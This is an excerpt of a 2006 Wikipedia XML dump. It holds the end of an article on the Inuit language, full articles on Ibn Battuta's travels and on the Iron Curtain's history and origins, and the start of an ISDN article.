A [[urban myth|popular belief]] exists that the Inuit have an unusually large number of words for [[snow]]. This is not accurate, and results from a misunderstanding of the nature of polysynthetic languages. In fact, The Inuit have only a few base roots for snow: 'qanniq-' ('qanik-' in some dialects), which is used most often like the verb ''to snow'', and 'aput', which means ''snow'' as a substance. Parts of speech work very differently in the Inuit language than in English, so these definitions are somewhat misleading.

The Inuit language can form very long words by adding more and more descriptive affixes to words.  Those affixes may modify the syntactic and semantic properties of the base word, or may add qualifiers to it in much the same way that [[English language|English]] uses adjectives or prepositional phrases to qualify nouns (eg. &quot;falling snow&quot;, &quot;blowing snow&quot;, &quot;snow on the ground&quot;, &quot;snow drift&quot;, etc.)

The &quot;fact&quot; that there are many Inuit words for snow has been put forward so often it is somewhat of a journalistic [[cliché]] (as evidenced by [http://itre.cis.upenn.edu/~pullum/eskimo_quotes.html a collection of quotes from linguist Mark Liberman]).

==Writing==
Because the Inuit language is spread over such a large area, divided between different nations and political units and originally reached by Europeans of different origins at different times, there is no uniform way of writing the Inuit language.  Most Inuktitut in Nunavut and Nunavik is written using a scheme called [[Inuktitut syllabics]], based on [[Canadian Aboriginal Syllabics]].  The western part of Nunavut and the [[Northwest Territories]] use a Roman alphabet scheme usually identified as [[Inuinnaqtun]].  In [[Alaska]], another Roman scheme is used.  [[Nunatsiavut]] uses another variant devised by German-speaking [[Moravian]] missionaries, which included the letter [[Kra (letter)|''kra'']].  Greenland's Roman scheme was originally much like the one used in Nunatsiavut, but has been reformed and modified in recent years. &lt;!-- more to follow --&gt;

===The Canadian syllabary===
''See [[Inuktitut syllabics]] for more information.''

[[Image:Inuktitut.png|framed|right|The syllabary used to write Inuktitut (titirausiq nutaaq). The extra characters with the dots represent long vowels; in the Latin transcription, the vowel would be doubled.]]The Inuktitut syllabary used in Canada is based on the [[Cree]] syllabary devised by the missionary [[James Evans]]. The present form of the syllabary for Canadian Inuktitut was adopted by the [[Inuit Cultural Institute]] in Canada in the [[1970s]].  The Inuit in Alaska, the [[Inuvialuit]], Inuinnaqtun speakers, and Inuit in [[Greenland]] and [[Labrador]] use the Roman alphabet, although it has been adapted for their use in different ways.

Though conventionally called a [[syllabary]], the writing system has been classified by some observers as an [[abugida]], since syllables starting with the same consonant have related [[glyph]]s rather than unrelated ones.

All of the characters needed for the Inuktitut syllabary are available in the [[Unicode]] character repertoire. (See [[Unified Canadian Aboriginal Syllabics character table]].)

==See also==
* [[Eskimo-Aleut languages]]
* [[Canadian Aboriginal Syllabics]]
* [[Yupik language]]

==References==

*[http://inuktitutcomputing.ca/Technocrats/ Inuktitut Linguistics for Technocrats], Mick Mallon.
*'''Introductory Inukitut''' and '''Introductory Inuktitut Refernce Grammar''', Mick Mallon, 1991.  ISBN 0771702302 and ISBN 0771702353
*'''Inuktitut: A multi-dialectal outline dictionary (with an Aivilingmiutaq base)''', Alex Spalding, 1998.  ISBN 1896204295
*'''Inuktitut: a Grammar of North Baffin Dialects''', Alex Spalding, 1992. ISBN 0920063438
*'''Arctic Languages: An Awakening''', ed: Dirmid R. F. Collis.  ISBN 92-3-102661-5 [http://unesdoc.unesco.org/images/0008/000861/086162e.pdf Available in PDF via the UNESCO website].

==External links==
===Dictionaries and lexica===
*[http://www.websters-online-dictionary.org/definition/Inuktitut-english/ Inuktitut - English Dictionary]
*[http://www.livingdictionary.com/ Nunavut Living Dictionary]
*[http://www.alaskool.org/Language/dictionaries/inupiaq/dictionary.htm Interactive IñupiaQ Dictionary]
*[http://www.oqaasileriffik.gl/cgi-bin/katersat.cgi?lang=eng Oqaasileriffik Language database]
*[http://web.uni-frankfurt.de/fb08/IHE/download/InukMorphList.pdf Inuktitut Morphology List] ([[Portable Document Format|PDF]])

===Webpages===
* [http://www.aipainunavik.com/about/e_brief_history.html A Brief History of Inuktitut Writing Culture]
* [http://www.languagegeek.com/inu/inu_syllabarium.html Inuktitut Syllabarium]
* [http://www.nunavut.com/nunavut99/english/our.html Our Language, Our Selves]
* [http://halfmoon.org/inuit.html Writing in Inuktitut]
* [http://tafkac.org/language/eskimo_words_for_snow_derby.html Alt.folkore.urban on Eskimo words for snow.]

[[Category:Inuit language|*]]
[[Category:Abugida writing systems]]
[[Category:Inuit]]
[[Category:Eskimo-Aleut languages]]
[[Category:Languages of Canada]]
[[Category:Polysynthetic languages]]
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  <page>
    <title>Ibn Battuta</title>
    <id>15229</id>
    <revision>
      <id>41367105</id>
      <timestamp>2006-02-26T22:09:31Z</timestamp>
      <contributor>
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      <comment>/* To Iran and the Silk Road */</comment>
      <text xml:space="preserve">[[Image:IbnBattuta.jpg|thumb|Ibn Battuta (1304&amp;ndash;1377).]]
'''Abu Abdullah Muhammad ibn Battuta''' ([[Arabic]]: '''أبو عبد الله محمد ابن بطوطة''') (born [[February 24]], [[1304]]; year of death uncertain, possibly [[1368]] or [[1377]]) was born in [[Tangier]], [[Morocco]] during the time of [[Merinid dynasty|Merinid Sultanate]] rule in the [[Islamic calendar]] year 703, into a [[Berber]] family. He was a [[Sunni Islam]]ic scholar and [[Jurisprudence|jurisprudent]] from the [[Maliki]] [[Madhhab]] (a school of [[Fiqh]], or Sunni Islamic law), and at times a [[Qadi]] or judge. However, he is best known as an extensive traveller or [[exploration|explorer]], whose account documents his travels and side-excursions over a period of almost thirty years, covering some 73,000 miles (117,000 km). This journeying covered almost the entirety of the known Islamic world, extending also to present-day [[India]], the [[Maldives]], [[Sri Lanka]], [[Southeast Asia]] and [[China]], a distance readily surpassing that of his prior, near-contemporary and traveller [[Marco Polo]].

At the instigation of the Sultan of Morocco, [[Abu Inan Faris]], several years after his return Ibn Battuta dictated an account of his journeys to a scholar named [[Ibn Juzayy]], whom he had met while in [[Granada]]. This account, recorded by Ibn Juzayy and interspersed with the latter's own comments is the primary source of information for his adventures. The title of this initial manuscript may be translated as ''A Gift to Those Who Contemplate the Wonders of Cities and the Marvels of Travelling'', but is often simply referred to as the ''Rihla'', or &quot;Journey&quot;. Whilst apparently fictional in places, the ''Rihla'' still gives as complete an account as exists of some parts of the world in the [[14th century]].

Almost all that is known about Ibn Battuta's life comes from one source &amp;ndash; Ibn Battuta himself (via Ibn Juzayy). In places the things he claims he saw or did are probably fanciful, but in many others there is no way to know whether he is reporting or story-telling. The following account assumes the latter where it is not obviously the former.

==The Hajj (with detours)==
Born in [[Tangier]], [[Morocco]] some time between [[1304]] and [[1307]], at the age of (approximately) twenty Ibn Battuta went on a ''[[hajj]]'' &amp;ndash; a pilgrimage to [[Mecca]]. Once done, however, he continued travelling, eventually covering about 75,000 miles over the length and breadth of the Muslim world, and beyond (about 44 modern countries). Batutta started his journeys in [[1325]]. 

His journey to Mecca was by land, and followed the North African coast of the [[Maghreb]] region quite closely until he reached [[Cairo]]. At this point he was within [[Mameluk]] territory, which was relatively safe, and he embarked on the first of his detours. Three commonly used routes existed to Mecca, and Ibn Battuta chose the least-travelled: a journey up the Nile, then east by land to the Red Sea port of [[Aydhad|'Aydhad]]. However, upon approaching that city he was forced to turn back due to a local rebellion.

Returning to Cairo he took a second side trip, to [[Damascus]] (then also controlled by the Mameluks), having encountered a holy man during his first trip who prophesied that Ibn Battuta would only reach Mecca after a journey through [[Syria]]. An additional advantage to the side journey was that other holy places were along the route &amp;ndash; [[Hebron]], [[Jerusalem]], and [[Bethlehem]], for example &amp;ndash; and the Mameluke authorities put special effort into keeping the journey safe for pilgrims.

After spending [[Ramadan]] in Damascus, Ibn Battuta joined up with a caravan travelling the 800 miles from Damascus to [[Medina]], burial place of [[Muhammad]]. After four days, he then journeyed on to Mecca. There he completed the usual rituals of a Muslim pilgrim, and having graduated to the status of ''[[al-Hajji]]'' as a result, now faced his return home. Upon reflection, he decided to continue journeying instead. His next destination was the [[Il-Khanate]] in modern-day [[Iraq]] and [[Iran]].

==To Iran and the Silk Roads==
Once again hooking up with a caravan he crossed the border into [[Mesopotamia]] and visited [[al-Najaf]], the burial place of the fourth Caliph [[Ali ibn Abi Talib|Ali]]. From there he journeyed to [[Basra]], then [[Isfahan (city)|Isfahan]], which was only a few decades away from being nearly destroyed by [[Timur]]. Next were [[Shiraz, Iran|Shiraz]] and [[Baghdad]], the latter of which was in bad shape after [[Battle of Baghdad (1258)|being sacked]] by [[Hulagu Khan]].

There he met [[Abu Said|Abu Sa'id]], the last ruler of the unified Il-Khanate. Ibn Battuta travelled with the royal caravan for a while, then turned north to [[Tabriz]] on the [[Silk Road]]. The first major city in the region to open its gates to the [[Mongols]], it had become an important trading centre after most of its nearby rivals were razed.

==Second Hajj and East Africa==
After this trip, Ibn Battuta returned to Mecca for a second ''[[hajj]]'', and lived there for a year before embarking on a second great trek, this time down the [[Red Sea]] and the [[Eastern African]] coast. His first major stop was [[Aden]], where his intention was to make his fortune as a trader of the goods that flowed into the Arabian Peninsula from around the [[Indian Ocean]]. Before doing so, however, he determined to have one last adventure, and signed on for a trip down the coast of [[Africa]].

Spending about a week in each of his destinations, he visited [[Ethiopia]], [[Mogadishu, Somalia|Mogadishu]], [[Mombasa]], [[Zanzibar]], and [[Kilwa]], among others. With the change of the monsoon, he and the ship he was aboard then returned to south Arabia. Having completed his final adventure before settling down, he then immediately decided to go visit [[Oman]] and the [[Straits of Hormuz]]. This done, he journeyed to Mecca again. 

==Turkey and India==
Spending another year there, he then resolved to seek employment with the Muslim [[Sultanate of Delhi|Sultan of]] [[Delhi]]. Needing a guide and translator if he was to travel there, he went to [[Anatolia]], then under the control of the [[Seljuk Turks]], to join up with one of the caravans that went from there to [[India]]. A sea voyage from Damascus on a Genoese ship landed him in [[Alanya]] on the southern coast of modern-day [[Turkey]]. From there he travelled by land to [[Konya]] and then [[Sinope]] on the [[Black Sea]] coast.

Crossing the Black Sea, Ibn Battuta landed in Caffa (now [[Theodosia]]), in the Crimea, and entered the lands of the [[Golden Horde]].  There he bought a wagon and fortuitously joined the caravan of [[Ozbeg]], the Golden Horde's Khan, on a journey as far as [[Astrakhan]] on the [[Volga River]].

Upon reaching Astrakhan, the Khan allowed one of his pregnant wives to go give birth back in her home city &amp;ndash; [[Constantinople]]. It is perhaps of no surprise to the reader that Ibn Battuta talked his way into this expedition, his first beyond the boundaries of the Islamic world.

Arriving there towards the end of [[1332]], he met the emperor [[Andronicus III]] and saw the outside of [[Hagia Sophia]]. After a month in the city, he retraced his route to Astrakhan, then carried on past the [[Caspian Sea|Caspian]] and [[Aral Sea]]s to [[Bokhara]] and [[Samarkand]]. From there he journeyed south to [[Afghanistan]], the mountain passes of which he used to cross into India.

The [[Delhi Sultanate|Sultanate of Delhi]] was a relatively new addition to ''[[Dar al-Islam]]'', and Sultan [[Muhammed Tughlaq]] had resolved to import as many Muslim scholars and other functionaries as possible to consolidate his rule. On the strength of his years of studies while in Mecca, Ibn Battuta was employed as a ''[[qadi]]'' (&quot;judge&quot;) by the sultan.

Tughlaq was erratic even by the standards of the time, and Ibn Battuta veered between living the high life of a trusted subordinate, and being under suspicion for a variety of reasons. Eventually he resolved to leave on the pretext of taking another ''hajj'', but the Sultan offered the alternative of being ambassador to [[China]]. Given the opportunity to both get away from the Sultan and visit new lands, Ibn Battuta took it.

==Southeast Asia and China==
En route to the coast, he and his party were attacked by [[Hindus]], and separated from the others he was robbed and nearly lost his life. Nevertheless, he managed to catch up with his group within two days, and continued the journey to [[Cambay]]. From there they sailed to [[Calicut]]. While Ibn Battuta visited a mosque on shore, however, a storm blew up and two of the ships of his expedition were sunk. The third then sailed away without him, and ended up seized by a local king in a Kingdom of ''Samudra'', [[Aceh]] province of [[Sumatra]] a few months later, local myth says he was the one who always referred to the kingdom of ''Samudra'' but pronounced in a way that sounded more like the modern day [[Sumatra]], which then became the name of the whole island, previously the island was called ''Andalas''.{{fact}}

Fearful of returning to Delhi as a failure, he stayed for a time in the south under the protection of [[Jamal al-Din]], but when that worthy was overthrown it became necessary for Ibn Battuta to leave India altogether. He resolved to carry on to China, with a detour near the beginning of the journey to the [[Maldives]].

In the Maldives he spent nine months, much more time than he had intended to. As a ''qadi'' his skills were highly desirable in the backwards islands and he was half-bribed, half-kidnapped into staying. Appointed chief judge and marrying into the royal family, he became embroiled in local politics, and ended up leaving after wearing out his welcome by imposing strict judgments in the laissez-faire island kingdom. From there he carried on to [[Ceylon]] for a visit to [[Sri Pada]] (Adam's Peak).

Setting sail from Ceylon, his ship nearly sank in a storm, then the ship that rescued him was attacked by pirates. Stranded on shore, Ibn Battuta once again worked his way back to Calicut, from where he then sailed to the Maldives again before getting onboard a Chinese junk and trying once again to get to China.

This time he succeeded, reaching in quick succession [[Chittagong]], Sumatra, [[Vietnam]], and then finally [[Quanzhou]] in [[Fujian]] Province, China. From there he went north to [[Hangzhou]], not far from modern-day [[Shanghai]]. He also travelled even further north, through the [[Grand Canal of China|Grand Canal]] to [[Beijing]], although there has been some doubt about whether this actually occurred.

==Return home and the Black Death==
Returning to Quanzhou, Ibn Battuta decided to return home &amp;ndash; though exactly where &quot;home&quot; was was a bit of a problem. Returning to Calicut once again, he pondered throwing himself on the mercy of Muhammed Tughlaq, but thought better of it and decided to carry on to Mecca once again. Returning via Hormuz and the Il-Khanate, he saw that state dissolved into civil war, Abu Sa'id having died since his previous trip there.

Returning to Damascus with the intention of retracing the route of his first ''Hajj'', he learned that his father had died. Death was the theme of the next year or so, for the [[Black Death]] had begun, and Ibn Battuta was on hand as it spread through Syria, Palestine, and Arabia. After reaching Mecca, he decided to return to Morocco, nearly a quarter century after leaving it. During the trip he made one last detour to [[Sardinia]], then returned to Tangier to discover that his mother had also died, a few months before.

==Andalus and North Africa==
Having settled in Tangier for all of a few days, Ibn Battuta then set out for a trip to ''al-Andalus'' &amp;ndash; [[Al-Andalus|Muslim Spain]]. [[Alfonso XI of Castile]] was threatening the conquest of [[Gibraltar]], and Ibn Battuta joined up with a group of Muslims leaving Tangier with the intention of defending the port. By the time he arrived the Black Death had killed Alfonso and the threat had receded, so Ibn Battuta decided to visit for pleasure instead. He travelled through [[Valencia]], and ended up in [[Granada]].

Leaving Spain he decided to travel through one of the few parts of the Muslim world that he had never explored: Morocco. On his return home he stopped for a while in [[Marrakesh]], which was nearly a ghost town after the recent plague and the transfer of the capital to [[Fez, Morocco|Fez]].

Once more he returned to Tangier, and once more he moved on. Two years before his own first visit to Cairo, the [[Mali Empire|Mali]]an king [[Mansa Musa]] had passed through the same city on his own ''Hajj'' and had caused a sensation with his extravagant riches -- [[West Africa]] contained vast quantities of gold, previously unknown to the rest of the world. While Ibn Battuta never mentions this specifically, hearing of this during his own trip must have planted a seed in his mind, for he decided to set out and visit the Muslim kingdom on the far side of the [[Sahara Desert]].

==Mali==
In the fall of 1351, Ibn Battuta set out from Fez, reaching the last Moroccan town ([[Sijilmasa]]) a bit more than a week later. When the winter caravans began a few months later, he joined one, and within a month he was in the Central Saharan town of [[Taghaza]]. A centre of the salt trade, Taghaza was awash with salt and Malian gold, though Ibn Battuta did not have a favorable impression of the place. Another 500 miles through the worst part of the desert brought him to Mali, particularly the town of Walata.

From there he travelled southwest along a river he believed to be the [[Nile]] (it was actually the [[Niger River]]) until he reached the capital of the Mali Empire. There he met Mansa [[Suleyman (mansa)|Suleyman]], king since [[1341]]. Dubious about the miserly hospitality of the king, he nevertheless stayed for eight months before journeying back up the Niger to [[Timbuktu]]. Though in the next two centuries it would become the most important city in the region, at the time it was small and unimpressive, and Ibn Battuta soon moved on. Partway through his journey back across the desert he received a message from the Sultan of Morocco commanding him to return home. This he did, and this time it lasted.

After the publication of the ''Rihla'', little is known about Ibn Battuta's life. He may have been appointed a ''qadi'' in [[Morocco]].  Ibn Battuta died in Morocco some time between [[1368]] and [[1377]]. For centuries his book was obscure, even within the Muslim world, but in the [[1800s]] it was rediscovered and translated into several European languages. Since then Ibn Battuta has grown in fame, and is now a well-known figure in the Middle East.

==See also==
*[[Ibn Battuta (crater)]] for the [[Lunar]] [[crater]] named after him
*[http://dubaicityguide.com/specials/index.asp?id=1114 Ibn Battuta (shopping centre)] - Dubai UAE named after him

== References ==
*{{cite book | author=Mackintosh-Smith, Tim (ed.) | title=The Travels of Ibn Battutah | publisher=Picador | year=2003 | id=ISBN 0-330-41879-3}}

==External links==
*[http://www.isidore-of-seville.com/ibn-battuta/ Ibn Battuta on the Web] &amp;mdash; a Ibn Battuta-centered web directory
*[http://www.fordham.edu/halsall/source/1354-ibnbattuta.html Ibn Battuta: Travels in Asia and Africa 1325-1354] &amp;mdash; excerpts from H. A. R. Gibb's translation
*[http://www.saudiaramcoworld.com/issue/200004/default.htm The Longest Hajj: The Journeys of Ibn Battuta] &amp;mdash; Saudi Aramco World article by Douglas Bullis (July/August 2000)
*[http://www.mackintosh-smith.com/ Travels with a Tangerine: Travels in the Footnotes of Ibn Battutah and The Hall of a Thousand Columms: Hindustan to Malabar with Ibn Battutah ] &amp;mdash; Books by [[Tim Mackintosh-Smith]]
*[http://www.harcourtschool.com/activity/biographies/battuta/ Biography ] &amp;mdash; interactive journeys of Ibn Battuta

[[Category:1304 births|Battuta, Ibn]]
[[Category:1377 deaths|Battuta, Ibn]]
[[Category:Moroccan writers|Battuta, Ibn]]
[[Category:Moroccan explorers|Battuta, Ibn]]
[[Category:Explorers of Asia|Battuta, Ibn]]
[[Category:Explorers of Africa|Battuta, Ibn]]
[[Category:Geographers|Battuta, Ibn]]
[[Category:Muslim scientists|Battuta, Ibn]]

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[[zh:伊本·白图泰]]</text>
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  </page>
  <page>
    <title>Iron Curtain</title>
    <id>15230</id>
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      <text xml:space="preserve">[[Image:EiserneVorhang.png|thumb|right|Europe at the time of the Iron Curtain]]

The '''''Iron Curtain''''' (''Eiserner Vorhang'' in German, ''Železná opona'' in Czech, ''Железный занавес'' (''Zhelezniy zanaves'') in [[Russian language|Russian]], ''Σιδηρούν παραπέτασμα'' in [[Greek language|Greek]], ''Vasfüggöny'' in [[Hungarian language|Hungarian]], ''Jernteppet'' in [[Norwegian language|Norwegian]], ''Żelazna kurtyna'' in [[Polish_language|Polish]],  ''Cortina de fier'' in [[Romanian language|Romanian]], ''Желязна завеса'' in [[Bulgarian language|Bulgarian]] , &quot;Rautaesirippu&quot; in [[Finnish language|Finnish]] ) is a [[Western world|Western]] term referring to the boundary which symbolically, ideologically, and physically divided [[Europe]] into two separate areas from the end of [[World War II]] until the end of the [[Cold War]], roughly 1945 to 1990.

A variant of the Iron Curtain, the [[Bamboo Curtain]], was coined in reference to the [[People's Republic of China]]. As the standoff between the West and the countries of the Iron and Bamboo curtains eased with the end of the Cold War, the term fell out of any but historical usage.

==Political, economic and military realities==
===East of the Iron Curtain===
[[Image:curtain germany.jpg|thumb|Iron Curtain Germany]]
While the Iron Curtain was in place, certain countries of [[Eastern Europe]] and many in [[Central Europe]] (except [[West Germany]], [[Liechtenstein]], [[Switzerland]] and [[Austria]]) were under the political influence of the [[Soviet Union]]. Indeed the Central European states to the east of the Curtain were frequently regarded as being part of Eastern Europe, rather than Central Europe.

Many of the states were members of the Soviet Union itself (the [[Republics of the Soviet Union|Soviet Socialist Republics]]), while with two exceptions the neighboring countries of the [[Eastern bloc]] were ruled by pro-Soviet governments, kept in place by the threat of military force. The two exceptions were [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] which retained its full independence, and [[Albania]] which escaped Soviet influence in the [[1960s]] and aligned itself with [[People's Republic of China|China]]; both Albania and Yugoslavia were [[Communist state]]s.

To the east of the Iron Curtain, the states developed their own international economic and military alliances, [[Comecon]] and the [[Warsaw Pact]]. Many people tried to escape the soviets rule.

===West of the Iron Curtain===
To the west of the Iron Curtain, the countries of [[Western Europe]] and [[Southern Europe]], along with [[Austria]], [[West Germany]], [[Liechtenstein]] and [[Switzerland]], operated [[market economy|market economies]]. With the exception of a period of [[fascism]] in [[Spain]] and [[Portugal]] and military [[dictatorship]] in [[Greece]], these countries were ruled by [[democracy|democratic]] governments.

Most states to the west of the Iron Curtain - with the exception of [[Neutral country|neutral]] [[Switzerland]], [[Liechtenstein]], [[Austria]], [[Sweden]], [[Finland]] and [[Republic of Ireland|Ireland]] - were allied with the [[United States]] within [[NATO]]. Economically, the [[European Community]] and the [[European Free Trade Association]] were the Western counterparts to COMECON.


===The Iron Curtain as a physical entity===
[[image:Mock&amp;Horn.jpg|frame|In the summer of [[1989]], the [[foreign minister]]s of [[Austria]] and [[Hungary]], [[Alois Mock]] and [[Gyula Horn]], ceremonially cut through the border defences separating their countries.]]

The Iron Curtain took physical form in the shape of border defences between the countries of the western and eastern blocs. These were some of the most heavily militarised areas in the world, particularly the so-called &quot;inner German border&quot; &amp;ndash; commonly known simply as ''die Grenze'' in German &amp;ndash; between East and West Germany. The inner German border was marked in rural areas by double fences made of steel mesh with sharp edges, while near urban areas a high concrete barrier similar to the [[Berlin Wall]] was built. The barrier was always a short distance inside East German territory to avoid any intrusion into Western territory. The actual borderline was marked by posts and signs and was overlooked by numerous watchtowers set behind the barrier. In some places a &quot;death strip&quot; was constructed on the East German side of the barrier, in which unauthorized access would be met with bullets. The strip of land on the West German side of the barrier &amp;ndash; between the actual borderline and the barrier &amp;ndash; was readily accessible but only at considerable personal risk, as it was patrolled by both East and West German border guards. Shooting incidents were not uncommon, and a total of 28 East German border guards were killed between [[1948]]-[[1989]] (some may have been victims of &quot;[[friendly fire]]&quot; by their own side).

''For more on this topic, see the [[GDR border system]] article.''

Elsewhere, the border defences between west and east were much lighter. The border between Hungary and neutral Austria, for instance, was marked by a simple chain link fence which was easily removed when it became the first part of the Iron Curtain to be dismantled in 1989.

The abandon of this strip of land created a [[wildlife corridor]] across Europe, that helped the spread of several species to new territories.

The term &quot;Iron Curtain&quot; was only used for the fortified borders in central Europe; it was never used for similar borders in Asia between communist and capitalist states. The border between [[North Korea]] and [[South Korea]] is very comparable to the former inner German border, particularly in its degree of militarisation, but it has never conventionally been considered part of the Iron Curtain.

==Origins of the Iron Curtain==
{{wikisourcepar|Iron Curtain Speech}}
[[Image:Yousef Karsh - Winston Churchill - 30 December 1941.jpg|thumb|right|Winston Churchill popularized the term &quot;Iron Curtain&quot;.]]

The first recorded use of the term ''iron curtain'' was in [[1819]], in the general sense of &quot;an impenetrable barrier&quot;.  By [[1920]] it had become associated with the boundary of the [[Soviet Union]]'s [[sphere of influence]].
[http://www.etymonline.com/index.php?term=iron+curtain]
It was used during [[World War II]] by German [[Propagandaministerium|Propaganda Minister]] [[Joseph Goebbels]] and later Count [[Lutz Schwerin von Krosigk]] in the last days of the war; however, its use was popularized by the former [[United Kingdom|British]] leader [[Winston Churchill]], who used it in his &quot;Sinews of Peace&quot; address [[March 5]], [[1946]]:

:''From [[Szczecin|Stettin]] in the [[Baltic Sea|Baltic]] to [[Trieste]] in the [[Adriatic Sea|Adriatic]] an &quot;iron curtain&quot; has descended across the Continent. Behind that line lie all the capitals of the ancient states of Central and Eastern Europe. [[Warsaw]], [[Berlin]], [[Prague]], [[Vienna]], [[Budapest]], [[Belgrade]], [[Bucharest]] and [[Sofia]]; all these famous cities and the populations around them lie in what I must call the Soviet sphere, and all are subject, in one form or another, not only to Soviet influence but to a very high and in some cases increasing measure of control from [[Moscow]].''

Churchill made his speech at [[Westminster College]] in [[Fulton, Missouri]]. After its fall, a section of the Berlin Wall was transported to and erected at Westminster College. Although the phrase was not well received at the time, as the [[Cold War]] strengthened it gained popularity as a short-hand reference to the division of Europe. The Iron Curtain served to keep people in and information out, and the metaphor eventually enjoyed wide acceptance in the West.

In the Soviet Union, the speech was seen by [[Stalin]] as reinforcing his view that a future conflict with the West was inevitable. Over the following months, through a mixture of persuasion and purges of those holding contrary views, the Soviet Union did indeed come to see the West as a threat, rather than the ally they had been during World War II. The [[Cold War]] had begun in earnest.

===Antagonism between East and West===
The antagonism between the [[Soviet Union]] and the West that led to Churchill's speech had various origins. 

[[Britain]], [[France]], [[Japan]], [[Canada]], the [[United States]] and many other countries had backed the [[White Russian]]s against the [[Bolshevik]]s during the [[1918]]&amp;ndash;[[1920]] [[Russian Civil War]], and the fact hadn't been forgotten by the Soviets.  In the build up to World War II and in the face of the Western [[appeasement]] of [[Hitler]] the Soviets signed the [[Molotov-Ribbentrop Pact]] with [[Nazi Germany]], one of the intentions being to divide the border states between them to form a buffer zone.  Following the war Stalin was determined to acquire a similar buffer against Germany with pro-Soviet states on its border, leading to strained relations at the [[Yalta Conference]] (February [[1945]]) and the subsequent [[Potsdam Conference]] (August 1945). 

In the West, there was not only opposition to Soviet domination over the buffer states, but the fear grew that the Soviets were building an empire that might be a threat to them and their interests.  And, in particular, Churchill was concerned that the United States might return to its pre-war [[United States isolationism|isolationism]], leaving the exhausted European states unable to resist Soviet demands. President [[Franklin D. Roosevelt]] had announced at Yalta that after the defeat of Germany, US forces would be withdrawn from Europe within two years ''([[Antony Beevor]] Berlin: The Downfall 1945, p80)''.

''See also [[Cold War (1947-1953) and its origins]]''

==Earlier usages of the term==
There are various earlier usages of the term &quot;Iron Curtain&quot; pre-dating Churchill. Some suggest the term may have first been coined by [[Queen Elisabeth of the Belgians]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt; after World War I to describe the political situation between [[Belgium]] and [[Germany]], in [[1914]]. An iron curtain, or ''eisener Vorhang'', was an obligatory precaution in all German theaters to prevent the possibility of fire from spreading from the stage to the rest of the theater.  Such fires were rather common as the decor often was very flammable. In case of fire a metal wall would separate the stage from the theater, secluding the flames to be extinguished by firefighters. [[Douglas Reed]] used this metaphor in his book ''Disgrace Abounding'' ([[Jonathan Cape]], 1939, page 129): &quot;The bitter strife [in Yugoslavia between Serb unionists and Croat federalists] had only been hidden by the iron safety-curtain of the King's dictatorship.&quot;

On February 25, 1945 [[Joseph Goebbels]] wrote of an &quot;iron curtain&quot; in his weekly newspaper Das Reich: 
:''If the German people lay down their weapons, the Soviets, according to the agreement between Roosevelt, Churchill and Stalin, would occupy all of East and Southeast Europe along with the greater part of the Reich. An iron curtain [ein eiserner Vorhang] would fall over this enormous territory controlled by the Soviet Union, behind which nations would be slaughtered. The Jewish press in London and New York would probably still be applauding.''
&quot;[http://www.calvin.edu/academic/cas/gpa/goeb49.htm The Year 2000]&quot;

The first oral mention of an Iron Curtain was in a broadcast by [[Count Lutz Schwerin von Krosigk]] to the German people on May 2, 1945:
:''In the East the iron curtain behind which, unseen by the eyes of the world, the work of destruction goes on, is moving steadily forward.''

The first recorded occasion on which Churchill used the term &quot;iron curtain&quot; was in a May 12, 1945 telegram he sent to US President [[Harry S. Truman]]:
:''I am profoundly concerned about the European situation. ... 3. An iron curtain is drawn down upon their front.  We do not know what is going on behind.  There seems little doubt that the whole of the regions east of Lübeck-Trieste-Corfu will soon be completely in their hands.  To this must be added the further enormous area conquered by the American armies between Eisenach and the Elbe, which will, I suppose, in a few weeks be occupied, when the Americans retreat, by the Russian power.  All kinds of arrangements will have to be made by General [[Eisenhower]] to prevent another immense flight of the German population westward as this enormous Muscovite advance towards the centre of Europe takes place.  And then the curtain will descend again to a very large extent, if not entirely.  Thus a broad land of many hundreds of miles of Russian-occupied territory will isolate us from Poland. ... ''
(US Dept of State, Foreign Relations of the US, The Conference of Berlin (Potsdam) 1945, vol. 1, p. 9)

Churchill repeated the words in a further telegram to Truman on June 4, 1945 in which he protested against such a US retreat to what was earlier designated as, and ultimately became, the US occupation zone, saying the military withdrawal would bring
:''Soviet power into the heart of Western Europe and the descent of an iron curtain between us and everything to the eastward.'' 
(Ibid., p. 92)

At the Potsdam Conference, Churchill complained to Stalin about an &quot;iron fence&quot; coming down upon the British Mission in Bucharest.

[[Allen Dulles]] used the term in a speech on [[December 3]], [[1945]], referring to only [[Germany]]:

:''It is difficult to say what is going on, but in general the Russians are acting little better than thugs. They have wiped out all the liquid assets. No food cards are issued to Germans, who are forced to travel on foot into the Russian zone, often more dead than alive. An iron curtain has descended over the fate of these people and very likely conditions are truly terrible. The promises at Yalta to the contrary, probably 8 to 10 million people are being enslaved.''

==External links==
*[http://www.theanswerbank.co.uk/Answered/Question1990-6.asp?Page=1 Where did the term Iron Curtain originate?]
*[http://www.cnn.com/SPECIALS/cold.war/episodes/02/reflections/ Soviet reaction to Churchill's speech - CNN site]

{{Cold War}}
[[Category:Cold War]]
[[Category:Cold War speeches]]
[[Category:Metaphors]]

[[cs:Železná opona]]
[[da:Jerntæppet]]
[[de:Eiserner Vorhang (Politik)]]
[[es:Telón de Acero]]
[[eo:Fera Kurteno]]
[[fr:Rideau de fer]]
[[hr:Željezna zavjesa]]
[[it:Cortina di ferro]]
[[he:מסך הברזל]]
[[mo:Кортина де фиер]]
[[nl:IJzeren gordijn]]
[[ja:鉄のカーテン]]
[[pl:Żelazna kurtyna]]
[[pt:Cortina de ferro]]
[[ro:Cortina de fier]]
[[sk:Železná opona]]
[[fi:Rautaesirippu]]
[[sv:Järnridån]]
[[zh:铁幕]]</text>
    </revision>
  </page>
  <page>
    <title>Integrated Services Digital Network</title>
    <id>15231</id>
    <revision>
      <id>41947235</id>
      <timestamp>2006-03-02T20:38:05Z</timestamp>
      <contributor>
        <username>Uzume</username>
        <id>51070</id>
      </contributor>
      <comment>/* Protocols */</comment>
      <text xml:space="preserve">'''Integrated Services Digital Network''' ('''ISDN''') is a type of circuit switched [[telephone]] network system, designed to allow digital transmission of voice and data over ordinary telephone copper wires, resulting in better quality and higher speeds than available with [[analog signal|analog]] systems. More broadly, '''ISDN''' is a set of [[protocol (computing)|protocol]]s for establishing and breaking circuit switched connections, and for advanced call features for the user. The English term is a &quot;[[backronym]]&quot;, thought better for English-language advertisements than the original, &quot;Integriertes Sprach- und Datennetz&quot; (German for &quot;integrated voice and data net&quot;).

In a videoconference, ISDN provides simultaneous voice, video, and text transmission between individual desktop videoconferencing systems and group (room) videoconferencing systems.

== Configurations ==
